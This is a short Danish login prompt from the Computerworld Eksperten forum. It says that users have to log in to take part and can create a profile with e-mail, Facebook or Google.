Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester